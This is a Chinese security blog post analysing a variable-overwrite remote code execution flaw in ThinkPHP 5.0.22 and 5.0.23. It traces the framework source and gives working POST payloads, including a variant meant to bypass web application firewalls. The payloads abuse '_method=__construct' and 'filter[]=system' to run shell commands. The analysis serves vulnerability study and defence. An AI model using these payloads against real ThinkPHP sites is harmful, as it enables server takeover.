Thinkphp5框架变量覆盖导致远程代码执行

2019-01-14 16,179

Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞。

介绍

Thinkphp框架官方提供核心版和完整版两种:

核心版因默认缺少利用链,需要开启Debug模式,才能造成远程代码执行。

完整版因自动加载组件,不需要开启Debug模式,直接造成远程代码执行。

本文将对thinkphp5.0.23核心版和thinkphp5.0.22完整版进行分析

安全脉搏:https://www.secpulse.com/archives/95191.html

5.0.23核心版分析

变量覆盖

tp5/thinkphp/library/think/Request.php:518

public function method($method = false)
   {
       if (true === $method) {
           // 获取原始请求类型
           return $this->server('REQUEST_METHOD') ?: 'GET';
       } elseif (!$this->method) {
           if (isset($_POST[Config::get('var_method')])) {
               $this->method = strtoupper($_POST[Config::get('var_method')]);
               $this->{$this->method}($_POST);
           } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
               $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
           } else {
               $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
           }
       }
       return $this->method;
   }

在没有设置$this->method的时候,可以直接通过POST包含Config::get('var_method')配置参数的键值对进行赋值,在配置文件中为_method。

tp5/thinkphp/convention.php:102

image-20190112224652131.png

接着就是$this->{$this->method}($_POST),这里可以根据post请求中的键值动态的调用任意的类成员方法,并且参数为$_POST,尝试动态调用Request类的__construct方法。

tp5/thinkphp/library/think/Request.php:135

    protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

参数为$_POST,遍历POST中包含的参数的键名,如果类中包含对应键名的成员就进行赋值,这里就存在Request类成员变量覆盖。


Payload触发流程

整体流程主要分两部分,第一次$request->method()完成类成员变量的覆盖,第二次$request->param()包含$this->method(true)调用call_user_func完成代码执行。

Post-Data:

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls

入口点:

tp5/thinkphp/library/think/App.php:115

            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

进入App::routeCheck函数

    public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

进入App::check函数

    public static function check($request, $url, $depr = '/', $checkDomain = false){
        //检查解析缓存
        if (!App::$debug && Config::get('route_check_cache')) {
            $key = self::getCheckCacheKey($request);
            if (Cache::has($key)) {
                list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
                return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
            }
        }
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace($depr, '|', $url);
        if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
            // 检测路由别名
            $result = self::checkRouteAlias($request, $url, $depr);
            if (false !== $result) {
                return $result;
            }
        }
        $method = strtolower($request->method());
        ......
    }

App::check函数中调用了上面提到的$request->method(),调用__construct函数,使用Post-Data键对值对类成员进行变量覆盖,并分别修改$this->server和$this->filter为数组。

image-20190113013455653.png

函数栈调用完毕后,入口点继续执行,开启Debug模式后将会执行第三个Log::record函数

            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }
            // 记录当前调度信息
            $request->dispatch($dispatch);
            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

进入$request->param()

tp5/thinkphp/library/think/Request.php:634

public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
    ......
}

程序开头再一次调用了method函数,但是这次传递参数true,函数返回值为$this->server('REQUEST_METHOD'),调用server函数。

tp5/thinkphp/library/think/Request.php:862

public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

传入参数为字符串REQUEST_METHOD,进入input函数。

tp5/thinkphp/library/think/Request.php:999

    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);
        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

循环判断获取$data,通过getFilter函数获取$filter,最后传入filterValue函数。

tp5/thinkphp/library/think/Request.php:1082

image-20190113020634855.png

就在此处完成任意代码执行。

安全脉搏:https://www.secpulse.com/archives/95191.html

5.0.22完整版分析

完整版拥有更丰富的组件,不需要开启DEBUG模式,因此利用链略有不同。

自动加载组件

可以从目录上看出,完整版组件较多。

image-20190113113049538.png

Thinkphp拥有注册自动加载的功能,初始化时会加载引入其他组件,追踪此功能流程。

入口处:

tp5022/thinkphp/base.php:59

image-20190113113230919.png

register函数 :

tp5022/thinkphp/library/think/Loader.php:282

public static function register($autoload = null)
{
    // 注册系统自动加载
    spl_autoload_register($autoload ?: 'think\\Loader::autoload', true, true);
    // Composer 自动加载支持
    if (is_dir(VENDOR_PATH . 'composer')) {
        if (PHP_VERSION_ID >= 50600 && is_file(VENDOR_PATH . 'composer' . DS . 'autoload_static.php')) {
            require VENDOR_PATH . 'composer' . DS . 'autoload_static.php';
            $declaredClass = get_declared_classes();
            $composerClass = array_pop($declaredClass);
            foreach (['prefixLengthsPsr4', 'prefixDirsPsr4', 'fallbackDirsPsr4', 'prefixesPsr0', 'fallbackDirsPsr0', 'classMap', 'files'] as $attr) {
                if (property_exists($composerClass, $attr)) {
                    self::${$attr} = $composerClass::${$attr};
                }
            }
        } else {
            self::registerComposerLoader();
        }
    }
    // 注册命名空间定义
    self::addNamespace([
        'think'    => LIB_PATH . 'think' . DS,
        'behavior' => LIB_PATH . 'behavior' . DS,
        'traits'   => LIB_PATH . 'traits' . DS,
    ]);
    // 加载类库映射文件
    if (is_file(RUNTIME_PATH . 'classmap' . EXT)) {
        self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT));
    }
    self::loadComposerAutoloadFiles();

loadComposerAutoloadFiles函数 :

tp5022/thinkphp/library/think/Loader.php:357

image-20190113113703814.png

__require_file函数:

tp5022/thinkphp/library/think/Loader.php:674

image-20190113113943932.png

整个函数栈调用如下:安全脉搏:https://www.secpulse.com/archives/95191.html

image-20190113114506367.png

然后直接包含组件文件,组件文件中注册了GET路由:

tp5022/vendor/topthink/think-captcha/src/helper.php:12

\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");

Route::get函数:

tp5022/thinkphp/library/think/Route.php:510

    public static function get($rule, $route = '', $option = [], $pattern = [])
    {
        self::rule($rule, $route, 'GET', $option, $pattern);
    }

Route::rule函数:

tp5022/thinkphp/library/think/Route.php:232

public static function rule($rule, $route = '', $type = '*', $option = [], $pattern = [])
{
    $group = self::getGroup('name');
    if (!is_null($group)) {
        // 路由分组
        $option  = array_merge(self::getGroup('option'), $option);
        $pattern = array_merge(self::getGroup('pattern'), $pattern);
    }
    $type = strtolower($type);
    if (strpos($type, '|')) {
        $option['method'] = $type;
        $type             = '*';
    }
    if (is_array($rule) && empty($route)) {
        foreach ($rule as $key => $val) {
            if (is_numeric($key)) {
                $key = array_shift($val);
            }
            if (is_array($val)) {
                $route    = $val[0];
                $option1  = array_merge($option, $val[1]);
                $pattern1 = array_merge($pattern, isset($val[2]) ? $val[2] : []);
            } else {
                $option1  = null;
                $pattern1 = null;
                $route    = $val;
            }
            self::setRule($key, $route, $type, !is_null($option1) ? $option1 : $option, !is_null($pattern1) ? $pattern1 : $pattern, $group);
        }
    } else {
        self::setRule($rule, $route, $type, $option, $pattern, $group);
    }
}

Route::setRule函数:

tp5022/thinkphp/library/think/Route.php:281

protected static function setRule($rule, $route, $type = '*', $option = [], $pattern = [], $group = '')
{
    ......
    if ($group) {
        if ('*' != $type) {
            $option['method'] = $type;
        }
        if (self::$domain) {
            self::$rules['domain'][self::$domain]['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
        } else {
            self::$rules['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
        }
    } else {
        if ('*' != $type && isset(self::$rules['*'][$rule])) {
            unset(self::$rules['*'][$rule]);
        }
        if (self::$domain) {
            self::$rules['domain'][self::$domain][$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
        } else {
            self::$rules[$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
        }
        ......
    }
}

在最后一个else分支中对Route::$rules进行赋值,表示完成GET路由的注册,此时函数栈:

image-20190113144343749.png

安全脉搏:https://www.secpulse.com/archives/95191.html

无需DEBUG利用链

Debug模式没开启的,则无法进度对应的Log::record函数,需要寻找新的调用$request->param()的利用链。

App::exec函数中的method开关是一个不错的选择,调用了Request::instance()->param()。

tp5022/thinkphp/library/think/App.php:139

            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }
            // 记录当前调度信息
            $request->dispatch($dispatch);
            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }
            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);
            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );
            $data = self::exec($dispatch, $config);

exec函数:

tp5022/thinkphp/library/think/App.php:445

protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        case 'redirect': // 重定向跳转
            $data = Response::create($dispatch['url'], 'redirect')
                ->code($dispatch['status']);
            break;
        case 'module': // 模块/控制器/操作
            $data = self::module(
                $dispatch['module'],
                $config,
                isset($dispatch['convert']) ? $dispatch['convert'] : null
            );
            break;
        case 'controller': // 执行控制器操作
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = Loader::action(
                $dispatch['controller'],
                $vars,
                $config['url_controller_layer'],
                $config['controller_suffix']
            );
            break;
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;

exec函数接受两个参数,要进入method开关,需要传入exec函数的$dispatch调度信息可控,也就是App::routeCheck函数的返回值可控。

Post-Data,相比核心版增加一些参数:

POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

入口:tp5022/thinkphp/library/think/App.php:115

if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}

App::routeCheck函数:tp5022/thinkphp/library/think/App.php:617

public static function routeCheck($request, array $config)
{
    $path   = $request->path();
    $depr   = $config['pathinfo_depr'];
    $result = false;
    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            is_array($rules) && Route::rules($rules);
        } else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    is_array($rules) && Route::import($rules);
                }
            }
        }
        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        ......
    return $result;
}

$request->path()根据配置文件获取请求中的参数s得到$path的值为captcha,然后传入Route::check函数,返回值就是调度结果。

tp5022/thinkphp/library/think/Route.php:836

    public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ......
        $method = strtolower($request->method());
        // 获取当前请求类型的路由规则
        $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
......
        if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
        }
        return false;
    }

和核心版一样,使用$request->method()进行了类成员变量覆盖,不过POST数据中相比核心版多了method=get,就导致$this->method本身也被覆盖并且作为方法返回值,此时可控,也就是说$method此时为get。

接着到Route::$rules中获取get类型的路由规则存入$rules,这个路由规则就是vendor/topthink/think-captcha/src/helper.php中注册的get路由规则,。

Route::checkRoute 路由检查:

tp5022/thinkphp/library/think/Route.php:908

private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
{
    ......
        if (false !== $match = self::match($url, $rule, $pattern)) {
            // 匹配到路由规则
            return self::parseRule($rule, $route, $url, $option, $match);
        }
    }
    return false;
}

Route::match函数会检测URL和规则路由是否匹配,因此需要设置s=captcha。

Route::parseRule路由检查:

tp5022/thinkphp/library/think/Route.php:1390

    private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false)
    {
        $request = Request::instance();
        ......
        if ($route instanceof \Closure) {
            // 执行闭包
            $result = ['type' => 'function', 'function' => $route];
        } elseif (0 === strpos($route, '/') || strpos($route, '://')) {
            // 路由到重定向地址
            $result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301];
        } elseif (false !== strpos($route, '\\')) {
            // 路由到方法
            list($path, $var) = self::parseUrlPath($route);
            $route            = str_replace('/', '@', implode('/', $path));
            $method           = strpos($route, '@') ? explode('@', $route) : $route;
            $result           = ['type' => 'method', 'method' => $method, 'var' => $var];
           ......
        return $result;
     }

在elseif (false !== strpos($route, '\\'))中设置好$result,然后一层层返回,就是我们最上层的$dispatch

函数栈如下:

image-20190113155738700.png

以上操作完成变量覆盖,$dispatch值的操纵,最后exec函数中进入method开关调用Request::instance()->param(),完成代码执行。

安全脉搏:https://www.secpulse.com/archives/95191.html

攻击链变形

在exec函数中,进入method开关并调用Request::instance()->param()后,除了上文讲述的利用$this->method(true)进行代码执行以外,还可以使用一个变形的攻击链(此处感谢八里送屌的指点,哈哈哈),适用版本更多,绕过一些waf。

Post-Data:

POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls

tp5022/thinkphp/library/think/Request.php:634

public function param($name = '', $default = null, $filter = '')
{
     ......
        $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
        $this->mergeParam = true;
    }
    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
        return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);
}

使用array_merge对三个变量进行合并,其中一个为例,进入get方法:

tp5022/thinkphp/library/think/Request.php:689

    public function get($name = '', $default = null, $filter = '')
    {
        if (empty($this->get)) {
            $this->get = $_GET;
        }
        if (is_array($name)) {
            $this->param      = [];
            return $this->get = array_merge($this->get, $name);
        }
        return $this->input($this->get, $name, $default, $filter);
    }

是对$this->get变量的操作,这个已经在前面通过POST数据变量覆盖,最后get方法返回$this->get。

最后合并后的$this->param的结果为:

image-20190113233726359.png

然后在返回处传入input函数

return $this->input($this->param, $name, $default, $filter);

tp5022/thinkphp/library/think/Request.php:994

public function input($data = [], $name = '', $default = null, $filter = '')
{
    ......
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
    }

通过array_walk_recursive再调用filterValue,完成代码执行。

安全脉搏:https://www.secpulse.com/archives/95191.html

本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/95191.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号